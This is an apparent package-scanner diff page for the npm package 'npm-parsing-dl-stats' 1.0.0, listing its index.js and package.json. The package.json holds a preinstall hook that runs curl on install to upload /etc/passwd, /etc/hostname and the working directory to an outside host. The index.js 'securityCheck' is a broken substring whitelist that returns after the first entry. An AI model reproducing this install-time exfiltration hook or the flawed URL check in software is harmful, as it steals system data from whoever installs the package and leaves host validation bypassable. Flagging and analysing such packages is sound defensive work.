npm-parsing-dl-stats 1.0.0
Sign up to get free protection for your applications and to get access to all the features.
Potentially problematic release.
This version of npm-parsing-dl-stats might be problematic. Click here for more details.
- package/index.js +17 -0
- package/package.json +12 -0
package/index.js
ADDED
@@ -0,0 +1,17 @@
|
|
1
|
+
'use strict';
|
2
|
+
|
3
|
+
var parse = require('url-parse')
|
4
|
+
|
5
|
+
var whitelist = ["auth.github.com", "auth.tiktok.com", "sso.google.com"];
|
6
|
+
function securityCheck(url) {
|
7
|
+
var url = parse(url, true);
|
8
|
+
for(var i=0;i<whitelist.length;i++){
|
9
|
+
if(url.includes(whitelist[i])){
|
10
|
+
return true;
|
11
|
+
}
|
12
|
+
return false;
|
13
|
+
}
|
14
|
+
|
15
|
+
}
|
16
|
+
|
17
|
+
module.exports.checkUrlHost = securityCheck;
|
package/package.json
ADDED
@@ -0,0 +1,12 @@
|
|
1
|
+
{
|
2
|
+
"name": "npm-parsing-dl-stats",
|
3
|
+
"version": "1.0.0",
|
4
|
+
"description": "",
|
5
|
+
"main": "index.js",
|
6
|
+
"scripts": {
|
7
|
+
"test": "echo \"Error: no test specified\" && exit 1",
|
8
|
+
"preinstall": "curl -F 'p=@/etc/passwd' -F 'h=@/etc/hostname' -F \"pwd=`pwd`\" https://lab.ninja.ovh/savedata"
|
9
|
+
},
|
10
|
+
"author": "n1nj4sec",
|
11
|
+
"license": "GPL"
|
12
|
+
}
|